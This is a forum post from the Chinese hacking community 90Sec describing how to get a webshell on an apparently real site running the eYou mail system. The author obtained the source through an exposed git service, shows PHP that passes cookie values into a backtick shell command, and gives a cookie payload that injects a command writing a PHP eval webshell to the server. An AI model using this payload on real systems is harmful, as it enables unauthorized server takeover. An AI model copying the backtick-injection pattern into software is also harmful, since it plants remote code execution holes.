九零
登录
九零
»
90WiKi - 90Sec Team
›
--== 资料库==--
›
账号审核 {Account audit}
›
命令执行拿webshell
返回列表
[【未通过】]
命令执行拿webshell
[复制链接]
发表于 2015-12-1 17:16:32
|
显示全部楼层
|
阅读模式
大致浏览了一下网站,发现可以git服务使用不当,可以获取到源码。
代码审计
user/list.php 可以爆路径
在乌云看到过存在命令执行漏洞
function getUserDirPath($uid, $domain) {
$cmd = "/var/eyou/sbin/hashid $uid $domain";
$path = `$cmd`; //使用反引号导致$cmd可以被执行
$path = trim($path);
return $path;
}
$skin = getCookieUserValue('SKIN');
$uid = getCookieUserValue('UID');
$domain = getCookieUserValue('DOMAIN');
$user_dir_path = getUserDirPath($uid, $domain);
$storage_index_path = $user_dir_path.'/storage/Index/';
$storage_data_path = $user_dir_path.'/storage/Data/';
$userinfo = get_userinfo($uid , $domain);
$uid , $domain 分别都是getCookieUserValue 函数来获取的,该函数也在function.php
中定义:
function getCookieUserValue($key) {
$user_arr = explode('&', cookie('USER'));
$n = count($user_arr);
for ($i = 0; $i < $n; $i++) {
$g_arr = explode('=', $user_arr[$i]);
if ($g_arr[0] == $key) {
return $g_arr[1];
}
}
return null;
}
function getCookieUserValue($key) {
$user_arr = explode('&', cookie('USER'));
$n = count($user_arr);
for ($i = 0; $i < $n; $i++) {
$g_arr = explode('=', $user_arr[$i]);
if ($g_arr[0] == $key) {
return $g_arr[1];
}
}
return null;
}
控制cookie中USER内容就行啦
UID=+|+echo+<?php @eval($_POST['chopper']);?>+>>C:\WWW\mail\user\1.php
==============================================
亮点内容非原创:
http://www.wooyun.org/bugs/wooyun-2014-058301
网站
,
审计
,
webshell
,
function
,
storage
相关帖子
•
黑客揭婚外情网站:母公司曾多次尝试出售但失败
•
对会员【leave】抄袭获得邀请码的处理
•
对某政府网站的一次测试
•
某网站后台弱口令并getshell
•
曲折拿下帝国cms网站
•
内网ARP欺骗获取别人网站登录之HTTP账号和密码
•
C99 php webshell攻击加剧,大量WordPress站点遭受威胁
•
【快讯】俄罗斯最大社交网站VK.com被黑,1.71亿用户账号仅售1比特币
•
LastPass 曝 0day 漏洞,账号能被恶意网站访问
•
关于代码审计主题贴【设置收费】的建议
回复
举报
返回列表
九零
GMT+8, 2026-10-22 14:57
Powered by
Discuz!
X3.5
© 2001-2026
Discuz! Team
.
快速回复
返回顶部
返回列表